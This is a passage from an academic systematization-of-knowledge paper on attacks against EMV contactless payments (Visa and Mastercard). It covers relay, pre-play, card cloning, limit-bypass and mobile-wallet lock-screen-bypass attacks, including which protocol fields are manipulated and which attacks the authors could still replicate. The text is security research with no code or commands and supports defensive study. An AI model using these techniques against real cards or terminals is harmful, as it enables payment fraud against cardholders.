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Abstract—The widespread adoption of EMV (Europay, Mas-
tercard, and Visa) contactless payment systems has greatly
improved convenience for both users and merchants. How-
ever, this growth has also exposed significant security chal-
lenges. This SoK provides a comprehensive analysis of se-
curity vulnerabilities in EMV contactless payments, par-
ticularly within the open-loop systems used by Visa and
Mastercard. We categorize attacks into seven attack vectors
across three key areas: application selection, cardholder
authentication, and transaction authorization. We replicate
the attacks on Visa and Mastercard protocols using our
experimental platform to determine their practical feasibility
and offer insights into the current security landscape of
contactless payments. Our study also includes a detailed eval-
uation of the underlying protocols, along with a comparative
analysis of Visa and Mastercard, highlighting vulnerabilities
and recommending countermeasures.

Index Terms—EMV, Contactless Payment, Payment Security,
Visa, Mastercard.

1. Introduction

The growth of contactless payment systems has signif-
icantly changed the global financial transaction landscape.
According to the UK Finance Report 2024, contactless
payments accounted for 64% of credit card and 76% of
debit card transactions [37], accounting for more than a
third of all payments (e.g. 38% in the UK [38]). Contact-
less payments rely on Near Field Communication (NFC)
technology, which enables short-range wireless commu-
nication between the payment device and the terminal.
The ISO 14443 protocol [51]–[54] governs card detection,
anti-collision, and ensures only one card communicates
with the terminal. Once this process is completed, the
communication protocol specified by the EMV standard
is initiated. EMV (Europay, Mastercard, and Visa) is a
globally recognized standard for secure payment card and
terminal interactions, managed by EMVCo [29], a consor-
tium formed by major payment networks to develop and
maintain EMV specifications. The EMV system operates
using multiple kernels, with each kernel corresponding
to a different card network. In this context, a kernel
is the software responsible for implementing the EMV
specifications for a specific card brand. For instance, Visa
uses Kernel 3 [88], while Mastercard operates on EMV
Kernel 2 [62].

EMV contactless payment systems have been targeted
by numerous attacks, including card cloning [36], [41],

[70], passive attacks such as eavesdropping [19], [50]
and transaction relaying [11], [12], [16], [39], [49], [56],
[73], as well as active attacks including pre-play [36],
[43], [74] and contactless limit bypass [8]–[10], [43].
Recent research has examined the security of contactless
payment. Akinyokun and Teague [1] identified vulnera-
bilities in NFC payments, such as relay, pre-play, Mafia,
eavesdropping, and skimming attacks, each exploiting dif-
ferent weaknesses in the communication process. Gupta
et al. [47] further examined NFC and Magnetic Secure
Transmission (MST) technologies, highlighting eaves-
dropping, relay, skimming, and wormhole attacks. Gupta
and Quamara [46] categorized smart card vulnerabilities
at hardware, software, and data levels, noting threats like
reverse engineering and side-channel attacks. Sakurada
& Sakurai [75] propose an SoK for formal verification
of payment protocols. They provide an overview of the
mechanisms behind cashless payments, with a focus on
credit card transactions.

Despite previous research [1], [46], [47], [75], few
studies have focused on the EMV protocol suite, particu-
larly the specific EMV Kernels used in contactless trans-
actions. Furthermore, whether the reported vulnerabilities
would work or have been addressed in contemporary con-
tactless payment systems remains unclear. In this work, we
provide a comprehensive taxonomy of attacks on EMV
contactless payment systems, analyze their underlying
protocols’ security, and experimentally validate reported
vulnerabilities. The main contributions of our paper are
summarized as follows:

• We present a taxonomy of attacks on EMV contact-
less payment systems in a three-party setting, encom-
passing attacks on application selection, cardholder
authentication, and transaction authorization.

• We evaluate the feasibility of the reported attacks on
Visa and Mastercard protocols by replicating them,
and provide insights into the current security status
of EMV protocols.

• We conduct vulnerability analysis of the underlying
protocols with a focus on Visa and Mastercard that
enable these attacks.

• Our findings include a comparative evaluation of Visa
and Mastercard.

The paper is structured as follows: Section 2 outlines
the scope of the work and EMV payment systems. Section
3 presents our methodology and a taxonomy of attacks
on Visa and Mastercard payment networks followed by
a summary of the attacks. Section 4 evaluates the vul-
nerabilities in EMV protocols that enable these attacks
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Figure 1. EMV Payment Systems (green denotes the scope of this SoK).

and provides insights on their current state, as well as
a comparative analysis between Visa and Mastercard,
followed by insights on EMV protocol flaws. Section 5
discusses limitations, real-world impact, recommendations
and future research directions. Section 6 concludes the
paper.

2. Background

2.1. Scope

Fig. 1 outlines the taxonomy of EMV payment sys-
tems, categorized as either open-loop (e.g., Visa [88],
Mastercard [62]) or closed-loop (e.g., American Ex-
press [35]). Open-loop systems involve five entities: card-
holder, merchant, acquirer, issuer, and payment network,
whereas closed-loop systems consolidate the roles of
acquirer, issuer, and network into a single entity (is-
suer), bypassing third-party intermediaries. Transactions
are divided into Card Present (CP), where the cardholder
and merchant are physically co-located, and Card Not
Present (CNP), which occurs remotely, such as in on-
line transactions. EMVCo supports four CP technologies:
Contact [22], Contactless [23], Mobile [25], and QR
Code [27], and two CNP technologies: Secure Remote
Commerce (SRC) [28] and 3-Domain Secure (3DS) [20].
Both CP and CNP transactions employ tokenization [26],
which replaces sensitive card data with tokens. This paper
focuses on EMV open-loop CP contactless transactions,
henceforth referred to as “contactless” transactions.

2.2. Threat Model

Attackers primarily aim to intercept, relay, modify,
or clone NFC payment transactions and cards. They
target NFC payment cards, mobile wallets, cardholder
data, transaction records, and sometimes POS terminals
by exploiting vulnerabilities in the NFC communication
channel or by compromising terminals. We assume the
payment device is honest, but the terminal may be mali-
cious. Attacks usually require proximity to the payment
device; however, scenarios involving lost or stolen cards
do not. Attackers range in sophistication; basic adversaries
use off-the-shelf NFC reader apps for passive interception,

while more advanced attackers deploy Man-in-the-Middle
(MITM) setups with NFC-enabled devices (e.g., Android
phones). Highly skilled attackers may build custom NFC
hardware (e.g., PN532 modules), reverse-engineer POS
terminals, or possess deep knowledge of EMV proto-
cols and APDU command structures, enabling real-time
transaction manipulation. Expert adversaries with capa-
bilities in cryptographic analysis and firmware reverse
engineering can exploit advanced vulnerabilities, such as
weak random number generation, to compromise security
mechanisms.

2.3. EMV Contactless Payment Systems

As illustrated in Fig. 2, in a contactless transaction,
the cardholder can have various payment devices, such
as credit/debit bank cards, NFC-enabled mobile phones
through digital wallets (e.g., Apple Pay [5], Google
Pay [44], Samsung Pay [76]), and NFC-enabled wear-
ables. Merchants, in partnership with acquiring banks,
employ various payment terminals, including traditional
Point of Sale (PoS) systems that communicate directly
with acquiring banks, mobile PoS (mPoS) systems that use
third-party gateways (e.g., SumUp [81] and Square [77])
and are managed by merchant’s phone [65], or tap-to-
phone (T2P) terminals (e.g., Stripe [80] and Square [78])
that convert a merchant’s phone into a contactless terminal
without the need for external hardware.

The issuer provides payment cards, generates cryp-
tographic keys, authenticates transactions, and manages
cardholder funds [24]. The acquirer processes transac-
tions, transferring funds from the issuer to the merchant
through payment networks [21]. Payment networks, such
as Visa and Mastercard, act as intermediaries, ensuring
secure communication between issuers and acquirers [21],
[24]. Additional entities, depending on the transaction
type, may include Payment Gateways, which facilitate
communication between the merchant and the acquirer,
Token Requestors (such as digital wallets), which initiate
the tokenization process, and Token Service Providers
(TSP), which handle tokenization and de-tokenization pro-
cesses. Details of the Tokenization process can be found
in Appendix 7.5.

Fig. 2 illustrates the relationship between the involved
entities of an EMV contactless transaction in open-loop
systems. The process begins when the merchant activates
the payment terminal, presenting the transaction amount
to the cardholder. The cardholder then taps their payment
device at the terminal. If a mobile phone is used, the Token
Requestor initiates the tokenization process by requesting
a token from the TSP via the token vault. The transaction
data is then transmitted to the payment gateway. The ac-
quirer requests authorization through the payment network
and forwards the request to the cardholder’s issuing bank.
Once authorized, the issuer sends approval back through
the payment network to the acquirer and finally to the
merchant.

This process is divided into three key steps: applica-
tion selection, cardholder authentication, and transaction
authorization. Application selection involves the exchange
of information between the terminal and the card to de-
termine transaction parameters using ISO 14443, which
governs contactless communication protocols, including
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Figure 2. EMV Open-loop Contactless Payment System.

power, signal, initialization, and data transmission. The
EMV Entry Point protocol [32] then selects the appro-
priate EMV kernel to proceed with the transaction. Card-
holder authentication methods vary based on the payment
method, device, and terminal and can include PIN entry,
consumer device, or biometrics like fingerprints or facial
recognition. In the European Economic Area (EEA) and
the UK, Payment Services Directive 2 (PSD2) mandates
Strong Customer Authentication (SCA), requiring two-
factor authentication [86]. Although contactless transac-
tions are usually exempt from SCA due to factors like low
transaction amounts or cumulative limits, cardholders may
still need to enter a PIN occasionally [83]. The transac-
tion authorization phase involves transmitting transaction
data through the payment gateway to the acquirer, who
collaborates with the payment network, issuer, and TSP
to validate and authorize the transaction [26].

2.4. EMV Contactless Payments Protocols

EMV contactless payment transactions operate under
a multi-kernel system, with specifications outlined in var-
ious books ranging from Kernel 2 to Kernel 7 (Books C-2
to C-7), which are official EMV specification documents
published by EMVCo [29], each focusing on the technical
and operational details required for a specific kernel. Each
kernel is associated with a specific Application Identifier
(AID) corresponding to different payment networks, such
as Kernel 2 for Mastercard, Kernel 3 for Visa, Kernel 4
for American Express, Kernel 5 for JCB, Kernel 6 for
Discover, and Kernel 7 for UnionPay. Here we focus on
Kernel 2 and Kernel 3.

EMV contactless transactions operate in two modes:
EMV mode, which uses the EMV chip to carry EMV-
specific data, and magnetic stripe (mag-stripe) mode,
which relies on data extracted from the card’s magnetic
stripe for contactless payments and is a fallback mode
in which the card transmits data in a format similar to
what would appear on a magnetic stripe but over NFC.
Cardholder verification can be achieved through methods
specified in the Cardholder Verification Methods (CVM)
list. These include online PIN, where the encrypted PIN
is sent to the issuer for verification, and Consumer De-
vice CVM (CDCVM), commonly used with NFC-enabled
devices to delegate the CVM to the consumer device.
Data authentication occurs either online, where transaction
data and a cryptogram, a dynamically generated code that
verifies transaction integrity, are sent to the issuer for real-

time approval, or Offline between the card and terminal.
Offline Data Authentication (ODA) includes Static Data
Authentication (SDA) using public keys to validate the
card, Dynamic Data Authentication (DDA) that generates
a unique signature for each transaction, and Combined
DDA (CDA), which adds an Application Cryptogram
(AC) for enhanced security. Kernel 3 also supports fast
DDA (fDDA) to improve transaction efficiency.

2.4.1. ISO 14443 Protocol. The ISO 14443 protocol gov-
erns the identification and communication between prox-
imity cards and readers in contactless payment systems.
It outlines steps such as card detection through Wake-
Up (WUPA) or Request Command Type A commands
(REQA), followed by an anti-collision process to select a
specific card. Once selected, the card negotiates with the
reader communication parameters, including frame size
and timing limits. See Appendix 7.3 for more details.

2.4.2. EMV Entry Point. When the transaction is ini-
tiated, the kernel constructs a list of mutually supported
combinations between the card and the reader. The kernel
initiates the transaction by sending a Select Proximity
Payment System Environment (PPSE) message, to which
the card responds with File Control Information (FCI)
containing the AID and optionally the Application Pri-
ority Indicator (API) [34]. The kernel then selects the
appropriate application using the highest-priority AID.
The card further responds with a Processing Data Object
List (PDOL). These steps are managed by the EMV Entry
Point protocol [32] for all kernels.

2.4.3. EMV Kernel 3 (Visa). Kernel 3, used by Visa,
operates solely in the EMV mode, following the latest
V2.11 specification [34]. Visa’s relay resistance protocol,
implemented along with the ISO 14443 protocol, gener-
ates a Unique Identifier (UID) for each transaction, which
is embedded in the EMV messages to protect against relay
attacks [73]. After choosing Visa’s AID in the Entry Point,
the kernel sends a Get Processing Options (GPO) com-
mand, which contains PDOL including Terminal Trans-
action Qualifiers (TTQ), transaction amounts (Amoun-
tAuth), country code, currency, Unpredictable Number
(UN), and other values. The card then responds by pro-
viding key elements such as the Application Cryptogram
(AC), Application Interchange Profile (AIP), Cryptogram
Information Data (CID), Application Transaction Counter
(ATC), Card Transaction Qualifiers (CTQ), and other card-
generated values. In an fDDA transaction, the Signed



Dynamic Application Data (SDAD) is generated during
the GPO command as well. See Appendix 7.4.1 for more
details.

2.4.4. EMV Kernel 2 (Mastercard). Kernel 2, used by
Mastercard, supports both mag-stripe mode and EMV
mode transactions based on the latest V2.11 specifica-
tion [33]. After Kernel 2 is chosen by the Entry Point,
the reader sends a GPO command with the PDOL similar
to Kernel 3, and the card responds with the AIP and
other card-generated data. AIP denotes if the transaction
should proceed in the mag-stripe mode, or in the EMV
mode. In the mag-stripe mode, the kernel reads Track
1 and Track 2 data (which typically contain the card-
holder’s name, account number, expiry date, and service
code) from the card and issues a Compute Cryptographic
Checksum (CCC) command to request a Card Verifica-
tion Codes (CVC3) cryptogram. The card responds with
CVC3 and ATC. In the EMV mode, if both the card and
reader support the Relay Resistance Protocol (RRP), the
protocol is executed first by exchanging random numbers
and timing estimates. The kernel then determines the data
authentication method and reads the necessary card data
records, including the Expiry date, Track 2 data, CVM
list, Certification Authority Public Key Index (CA PK
Index) for a CDA transaction, etc. Next, the kernel issues a
Generate AC command, requesting either online or offline
authorization. The card’s response may contain an Appli-
cation Authentication Cryptogram (AAC) for transaction
decline, an Application Request Cryptogram (ARQC) for
online authorization, or a Transaction Certificate (TC) for
approval. If CDA is used, additional elements like SDAD
are included. See Appendix 7.4.2 for more details.

3. Systematization of Attacks on EMV Con-
tactless Payment Systems

3.1. Methodology

We used a reference chaining (snowballing) method-
ology [89], as it offers a systematic and comprehensive
approach to identify key studies on contactless payment
attacks by leveraging the citation networks of foundational
research, involving tracing citations both forward and
backward until no new studies emerged. Throughout, we
maintained clear inclusion and exclusion criteria based
on our scope presented in Section 2.1. Attacks focused
solely on compromising hardware terminals [40], [42],
[57], [65], [67] are beyond the scope of this work. Below,
we outline the key steps of systematizing these studies.

Categorization of Attacks. We categorize attacks into
seven distinct attack vectors: 1) eavesdropping; 2) relay
attacks; 3) pre-play attacks; 4) counterfeit card replica; 5)
contactless payment limit bypass; 6) lock-screen bypass;
and 7) cryptogram exploitation.

Stage-based Classification. To refine the categoriza-
tion, we adopt a colour-coded system to classify attacks
based on the stage of the EMV transaction they impact.
The stages include application-centric, attacks on the ISO
14443 protocol or the Entry Point of the EMV protocol
(denoted by “A” and colour green), cardholder-centric,

attacks focused on bypassing cardholder verification meth-
ods (denoted by “C” and colour blue), and transaction-
centric, attacks that target transaction-related data (de-
noted by “T” and colour red).

Affected Components. We analyze the affected pro-
tocol(s) and the specific data within them that contributed
to the vulnerability. Additionally, we assess the targeted
payment devices used in the attack, which can range from
cards to NFC-enabled phones and wearables.

Active vs. Passive. We further categorize attacks
based on the method of data exploitation, either as active
modification where the attacker alters transaction data,
or passive interception where the attacker captures data
without modifying it.

Attack Demonstrations. We indicate whether the
reported attacks in the literature have been practically
demonstrated by the authors (denoted by ) or if they
remain theoretical (denoted by ).

Attacks Replication. We replicated the attacks fo-
cused on EMV Kernels for Visa and Mastercard using our
experimental setup. Details of our replication framework
is presented in Section 3.2. For each attack on Visa and
Mastercard, we indicate whether it was successfully repli-
cated, denoted by , or if replication was unsuccessful,
denoted by . In cases where the replication is out
of our scope (e.g., ISO 14443 protocol), or replication
was not possible due to limitations in hardware, the re-
sult is marked by –. Details of the underlying reasons
for infeasible-to-replicate and unverifiable/out-of-focus at-
tacks are further discussed in Section 5.2.

Evaluation Criteria. To evaluate the current security
state of Visa and Mastercard based on the affected data
and our replication results, we consider four primary
criteria for each compromised element in their protocol.
First, Vulnerability examines the origin of the issue based
on reported attacks in the literature, identifying what
caused the specific component to be exploited. Second,
Demonstrability assesses whether the exploitation was
demonstrated by the authors of the papers reporting the
vulnerability, as undemonstrated attacks may be purely
theoretical. Third, Replicability evaluates our replication
results to determine if the reported vulnerability can be
reproduced in a real-world environment. Lastly, Feasibility
determines whether the found vulnerability, once repli-
cated, can also be successfully exploited, indicating its
continued existence.

3.2. Replication Framework

We use a Man-in-the-Middle (MITM) attack setup as
shown in Fig. 3, where a card emulator communicates
with a payment terminal, a terminal emulator interacts
with the payment device, and a proxy device relays data
between the two, acting as a bridge, capturing data that
flows between the card and the terminal. Our framework
is designed to intercept, analyze, and manipulate commu-
nication between payment devices and terminals, and in
some cases between the terminal and the backend host. We
use various devices to replicate the attacks. For card and
terminal emulation, we utilize NFC-enabled devices such
as the PN532 NFC chip, NFC-enabled Android phones,
or the Proxmark [72], a programmable RFID/NFC tool.
For the proxy server, we use a laptop or Raspberry Pi to
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Figure 4. Example of Our Experimental Setup

facilitate communication between the two emulators. For
attacks that involve creating a fake mag-stripe card, a mag-
stripe writer (e.g. MSR206) is also required. Fig. 4 shows
an example setup using off-the-shelf devices (an Android
phone as a card emulator, a Proxmark as a terminal
emulator, and a laptop as a proxy server). Our code for
the framework that uses PN532 NFC chips and Raspberry
Pi is publicly available1. In this particular framework, one
PN532 reader is configured as an initiator, which interacts
with the payment device, while the other PN532 module
is set up as a target, which impersonates the card when
communicating with the terminal. The core logic of the
main script is capturing NFC APDU (Application Protocol
Data Unit) messages, which are the low-level commands
used for communication between payment devices and
terminals. The script detects specific APDU sequences
and can modify them before relaying them to the intended
recipient. To enhance flexibility, the framework includes
a configurable delay mechanism between transactions to
maintain synchronization between the card and the ter-
minal, preventing disruptions. Additionally, the logging
mechanism records all intercepted data, making it possible
to analyze and extract traces. Attack traces for one attack
per category (presented below in Section 3.3) are provided
in Section 7.6 as examples.

3.3. Systematization of Attacks

Table 1 presents our taxonomy of EMV contactless
payment attacks in the litreture. We explain these attacks
below.

3.3.1. Eavesdropping. Eavesdropping refers to the unau-
thorized interception of payment data during an NFC
transaction, where attackers passively capture data without
altering the communication. One application-centric at-
tack, reported by Mehrnezhad et al. [66], exploits the anti-
collision process in the ISO 14443 protocol. A malicious

1. https://github.com/a66at/NFCMiTM

app installed on a phone wins a race condition against
the legitimate card with about 66% success, allowing it
to track contactless transactions and retrieve transaction-
specific data by requesting the PDOL from the termi-
nal. Two other studies [19], [50] focus on eavesdropping
transaction-centric data from the cards, in particular Track
1 and Track 2 data. Track 1 contains the Primary Account
Number (PAN), cardholder name, expiration date, service
code, discretionary data, and a checksum. Track 2 is
similar to Track 1 but does not include the cardholder’s
name. Heydt et al. [50] extract sensitive information, such
as the cardholder’s name, card number, and expiration
date, leaked in plaintext. Similarly, [19] uses a hidden
NFC reader to capture unencrypted card details, and a
hidden camera to record the CVV. While the attack on
the ISO 14443 remains out of our replication focus, we
replicated the other two attacks, using tools like NFC
Reader [68] and Pro Credit Card Reader [69], confirming
that these sensitive data can be wirelessly captured.

3.3.2. Relay. Relay attacks exploit the extended range of
NFC technology by intercepting payment data between
a contactless device and a terminal. This attack typically
involves two devices: the first, placed near the victim’s
payment device, captures the transaction data and trans-
mits it wirelessly to the second, located near the legitimate
terminal, to complete the unauthorized transaction. Studies
have demonstrated the use of Android devices [16], [39],
[56], [58], [84] and customized hardware, such as the
NFCMiTM tool with PN532 readers and a Raspberry
Pi [49], [79], to conduct these attacks. Combined setups
have been shown to improve efficacy [11], [12]. Our
experiments confirm that relay attacks remain replicable,
posing an ongoing threat to contactless payment systems.
Despite the presence of relay resistance protocols for
Visa and Mastercard, researchers have also found ways to
bypass these protections. Visa’s relay protection protocol
can be bypassed by manually setting the UID on a rooted
Android device during the ISO 14443 communication
process. This manipulation enables the attacker’s device
to impersonate the legitimate card, effectively circumvent-
ing the security mechanism meant to prevent relay at-
tacks [73]. The replication of this attack remains out of the
focus of our replication. The same researchers demonstrate
that the protection provided by the RRP in Mastercard can
be bypassed under certain conditions. The timing of the
nonce exchanges, which are meant to detect relay attacks,
varies depending on the distance and orientation of the
card relative to the reader. Despite this timing check, the
researchers show that it is possible to bypass these checks
when the card is held in a specific position. The replication
of this attack is unverifiable at the moment.

3.3.3. Pre-play. Pre-play attacks, or transaction cloning,
involve pre-recording transaction data and replaying it at
a later time. The first instance of such an attack was
presented in 2013 by Roland & Langer [74], where re-
searchers exploited a vulnerability in Mastercard’s mag-
stripe mode by downgrading a transaction from EMV
to the mag-stripe mode. They manipulated the AIP and
used low entropy in the terminal’s Numeric Unpredictable
Number (nUN) to pre-calculate CVC, storing them on a
cloned card for later use. Although the card’s ATC should



TABLE 1. EMV CONTACTLESS PAYMENT ATTACKS TAXONOMY: (A: APPLICATION-CENTRIC, C: CARDHOLDER-CENTRIC, T:
TRANSACTION-CENTRIC). AFFECTED PROTOCOL: TARGETED PROTOCOL(S), AFFECTED DATA: IMPACTED DATA, AFFECTED DEVICE:

TARGETED PAYMENT DEVICE, ACTIVE/PASSIVE: ACTIVE MODIFICATION OR PASSIVE INTERCEPTION, DEMOED: DEMONSTRATED ( ) OR

NOT ( ), REPLICATED: SUCCESSFULLY ( ) OR INFEASIBLE ( )

Categories Year Description Affected
Protocol

Affected Data Affected
Device

Active/
Passive

Demoed Replicated

Eavesdropping:
(A) Mehrnezhad et al.
[66]

2016 Malicious app exploits anti-collision
to request data

ISO14443 Anti-collision Phone Passive –

(T) Heydt et al. [50] 2007 Steal card details via hidden NFC
reader

Visa,
Mastercard

Track 1/2 (Name,
PAN, EXPDate)

Card Passive

(T) Emms & Moorsel
[19]

2011 Steal card details via hidden NFC
reader and a camera

Visa,
Mastercard

Track 1/2 (Name,
PAN, EXPDate,
CVV)

Card Passive

Relay:
(A) Radu et al. [73] 2022 Relay protection protocol bypass by

setting UID
ISO14443 UID Phone Active –

(T) Radu et al. [73] 2022 Relay protection protocol bypass by
in specific position

Mastercard RRP Timing Card Passive –

(T) Multiple [11], [12],
[16], [39], [49], [56]

2011-
2023

Relay payment information between a
card and a distant terminal

Visa,
Mastercard

- Card Passive

Pre-play:
(T) Roland & Langer
[74]

2013 Downgrade to mag-stripe mode and
pre-play attack

Mastercard AIP, nUN, CVC,
ATC

Card Active

(T) Fillmore [36] 2015 Downgrade to mag-stripe mode and
transaction clone

Mastercard AIP, nUN, CVC,
ATC

Card Active

(T) Galloway & Yunusov
[43]

2019 Sending predictable UN via compro-
mised terminals

Mastercard,
Visa

UN, ATC Card,
Phone

Active

Card Replica:
(T) Paget [70] 2012 Extract card numbers via NFC reader

to clone mag-stripe cards
Visa,
Mastercard

Track 1/2 (PAN,
EXPDate)

Card Passive

(T) Fillmore [36] 2015 Downgrade to mag-stripe and exploit
dCVV vulnerabilities

Visa Track2, AIP Card Active

(T) Galloway [41] 2020 Read data from both mag-stripe and
EMV modes and substitute

Visa,
Mastercard

Track 1/2 Card Passive

Limit Bypass:
(A) Basin et al. [8] 2021 Card Brand Mixup: change Master-

card to Visa
Mastercard AID Card Active

(C) Galloway &
Yunusov [43]

2019 Modifying CDCVM and CVM to by-
pass CVM

Visa TTQ (CVM), CTQ
(CDCVM)

Card,
Phone

Active

(C) Basin et al. [9] 2021 Modifying CDCVM to bypass CVM Visa CTQ (CDCVM) Card Active

(C) Basin et al. [10] 2023 Exploiting offline card validations and
bypassing CVM

Mastercard CVMList, IAC, CA
PK Index, AID

Card Active

(C) Emms et al. [18] 2013 Offline PIN verification wirelessly Visa PIN Card Passive

(T) Emms et al. [17] 2014 Unlimited value transactions when in
foreign currency

Visa Currency Card Active –

Lock-screen Bypass:
(C) Yunusov [90] 2021 ApplePay-Visa: sending “magic

string” and modifying TTQ
Visa TTQ (ODA), Magic

String
Phone Active

(C) Radu et al. [73] 2022 ApplePay-Visa: sending “magic
string” and modifying TTQ and CTQ

Visa TTQ (ODA), CTQ
(CDCVM), Magic
String

Phone Active

(C) Yunusov et al. [93] 2021 GooglePay-Visa: set CVM to zero Visa TTQ (CVM) Phone Active

(T) Yunusov et al. [91],
[93]

2021 GooglePay-Mastercard: downgrade
and clone transaction using [74]

Mastercard AIP, CCC, nUN,
CVC3, ATC

Phone Active

(T) Yunusov et al. [90],
[93]

2021 SamsungPay-Visa V.1: modify
AmountAuth

Visa AmountAuth Phone Active

(T) Radu et al. [73] 2022 SamsungPay-Visa V.2: modify
AmountOther

Visa AmountOther Phone Active

(T) Yunusov [90] 2021 SamsungPay-Mastercard V.1: Card
Brand Mixup

Mastercard AID, CID Phone Active

(T) Yunusov et al. [93] 2021 SamsungPay-Mastercard V.2: Com-
promised Terminal

Mastercard AmountAuth, MCC Phone Active

(T) Yunusov et al. [90],
[93]

2021 ApplePay-Mastercard Mastercard AmountAuth, MCC Phone Active

Cryptogram Exploitation:
(T) Yunusov et al. [93] 2021 Cryptogram confusion: change AAC

to ARQC
Visa CID Card,

Phone
Active

(T) Chothia et al. [12] 2015 Unauthenticated corrupted AC Visa AC Card Passive –

(T) Basin et al. [9] 2021 Unauthenticated AC in offline trans-
actions

Visa,
Mastercard

AC Card Passive –

prevent such attacks, issuers failed to check the ATC,
allowing the transactions to proceed without detection. In
2015, Fillmore [36] demonstrated this attack by creating
a dictionary of responses based on all possible terminal
random numbers and replaying stored records to a ter-

minal while querying the dictionary for the correct nUN.
In 2019, Galloway and Yunusov [43] demonstrated the
continued feasibility of pre-play attacks by compromising
terminals to send predictable nUNs and exploiting weak-
nesses in key generation, nUN, and ATC. They showed



that attackers can read data from contactless cards and
Android wallets and replay it on compromised terminals
that send predictable nUNs. Both Visa and Mastercard
were vulnerable due to the lack of restrictions on repeating
nUNs and ATC values. Our experiments confirm that these
attacks are still replicable. In the case of the attack by
Roland & Langer [74], we successfully replicated the
attack, particularly using Google Pay wallets, which still
authorize mag-stripe transactions, though limitations exist
on locked devices and regional transaction limits.

3.3.4. Counterfeit Card Replica. In contrast to pre-play
attacks which only clone a single transaction, counterfeit
card replica attacks create cloned mag-stripe cards for
multiple unauthorized transactions. In 2012, Paget [70]
demonstrated that attackers could use NFC readers to
extract transaction data, such as Track 1 and Track 2
information and clone this data onto blank mag-stripe
cards. Our experimental results show that this attack is
replicable, as every transaction indeed provides the Track
2 equivalent data. However, we observed that only Visa
cards are particularly vulnerable to this type of attack, as
the Track 2 equivalent data on MasterCard cards do not
contain discretionary data—it is always set to “0000”. The
key vulnerability lies in the fact that the Track 2 equivalent
data contains different discretionary data compared to the
mag-stripe. For instance, the security codes encoded in
these two places differ, and while banks should be able
to detect this discrepancy, some fail to do so, allowing
the cloned data to be accepted in certain cases. Another
example was presented in 2015 by Fillmore [36], where
Visa cards using the flawed Dynamic CVV (dCVV) mode
were cloned by downgrading to mag-stripe mode using the
AIP field and reading Track 2 data. This attack exploited
the dCVV algorithm’s lack of random number input.
However, this vulnerability is no longer exploitable, as
Visa has removed mag-stripe support in the Kernel C-3
V2.6 specification [30]. Our experimental results confirm
that the attack described by Fillmore [36] is no longer
feasible due to Visa’s protocol updates. It should be noted
that legacy devices operating with kernels preceding v2.6
still allow mag-stripe fallback transactions, consequently
remaining susceptible to similar downgrade attacks. The
overall effectiveness of these preventive measures thus
heavily depends on the widespread and consistent adop-
tion of Kernel C-3 v2.6 across all deployed payment
terminals. In 2020, Galloway [41] showed that mag-stripe
cloning remains feasible. The process involves reading
data from both the EMV and mag-stripe interfaces, iden-
tifying security code values, and substituting them in the
mag-stripe tracks to create a functional clone. These cards
can be used via fallback methods, where the terminal
switches to the mag-stripe mode after chip reading fails, or
by using dedicated mag-stripe terminals. Our experimental
results confirm that this attack is still feasible.

3.3.5. Limit Bypass. Contactless limit bypass attacks
allow attackers to exceed transaction limits without requir-
ing cardholder verification. In the UK, for instance, the
limit is set at 100 GBP for contactless transactions [45].
Basin et al. [8] demonstrated a Card Brand Mixup attack
where the AID of a Mastercard is altered to mimic a Visa,
exploiting vulnerabilities in cardholder data to bypass

limits. Our experiments confirm that this attack cannot
be replicated due to Mastercard’s patches on AID mod-
ification. In another attack, Galloway and Yunusov [43]
bypass Visa contactless limits by manipulating the CVM
bit in TTQ and CDCVM in CTQ, tricking the terminal
into thinking cardholder verification has already been
completed. Basin et al. [9] performed a similar attack
by modifying only the CDCVM bit in the CTQ on the
cards. Our experiments confirm that these attacks can be
successfully replicated. An alternative method for Master-
card cards [10], following the patching of the Card Brand
Mixup attack, exploits terminal vulnerabilities during of-
fline validation using Public Key Infrastructure (PKI). This
involves invalidating the CA Public Key Index, downgrad-
ing or removing the CVM list, and clearing the Issuer
Action Code (IAC)-Denial to avoid declined transactions.
The researchers also extended this attack to Maestro cards
(by flipping the AID bit), but it was not fully demon-
strated due to the proprietary nature of Maestro cards. Our
experiments confirm that this attack can be successfully
replicated. Older attacks include a 2013 Visa vulnera-
bility where PINs were transmitted wirelessly, making
them susceptible to interception and guessing [18]. The
wireless offline PIN verification feature is not available on
contactless payment anymore, which makes this attack not
replicable. Another attack on Visa, reported by Emms et
al. [17], involved exploiting the “Currency” field, allowing
unlimited transactions in foreign currencies without PIN
verification using the offline mode. The feasibility of
this attack remains unverifiable at the moment since we
lack essential aspects of this attack, including terminals
and cards that support offline-only transactions. However,
for current Visa cards, decisions regarding over-the-limit
transactions are based on the CVM-required bit in the
TTQ. The amount and currency involved in the transaction
do not influence this decision, indicating that modifying
only the currency would not enable the attack.

3.3.6. Lock-screen Bypass. Lock-screen bypass attacks
exploit vulnerabilities in NFC-enabled mobile phones,
allowing attackers to bypass lock-screen authentication
(e.g., FaceID, PIN, or fingerprint) and conduct unautho-
rized transactions. One such attack targets the Express
Transit feature, which allows payments without unlocking
the device. Apple Pay uses a “magic string” from transit
readers to trigger payments. Samsung Pay allows zero-
value transactions from a locked phone. Several attack
combinations have been demonstrated. For ApplePay-
Visa, Yunusov [90] demonstrated the attack by first send-
ing a “magic string” to the victim’s device to convince
it that it is communicating with a transit terminal, Tran-
sit for London (TFL) in particular, then bypassing the
lock-screen by setting the “Offline Data Authentication
(ODA) for Online Authorizations supported” bit in the
TTQ which is used for special purpose readers. Radu et
al. [73] also show a similar attack by manipulating with
the TTQ value, as well as exploiting the CDCVM bit in
CTQ to show the feasibility of allowing over the limit
transactions. Our experiments show that these attacks can
be successfully replicated. For GooglePay-Visa, Yunusov
et al. [93] manipulate the TTQ field to set the CVM to
zero, in the condition that the phone screen is active. For
GooglePay-Mastercard, Yunusov et al. [91], [93] perform
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Figure 5. Timeline of Contactless Payment Attacks Presented in Table 1.
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Figure 6. Evolution of Contactless Payment Protocols and Technologies.

a downgrade attack to mag-stripe by changing the AIP
and then bypassing the unlock requirement by changing
CVMResults bits in the Compute Cryptographic Check-
sum (CCC) that indicates the phone should be unlocked
due to the high-value amounts. Due to the low entropy
of the unpredictable number, nUN, which allows CVC
values to be pre-calculated, and the ATC values that are
out of order, a successful clone of GooglePay-Mastercard
transactions can be made. Our experiments show that these
attacks remain successfully replicable. For SamsungPay-
Visa attacks, in the first version of the attack, Yunusov et
al. [90], [93] bypass the lock screen by initiating a 1.00
GBP payment using a modified PoS system and conduct-
ing a MITM attack to alter the amount field to 0.00 GBP
in the Generate AC command, making the cryptogram
to be valid for 0.00 GBP. Subsequently, an authorization
request is made with a modified cardholder billing amount
of 1.00 GBP, effectively charging the user and getting the
cryptogram accepted. Our experiments confirm that this
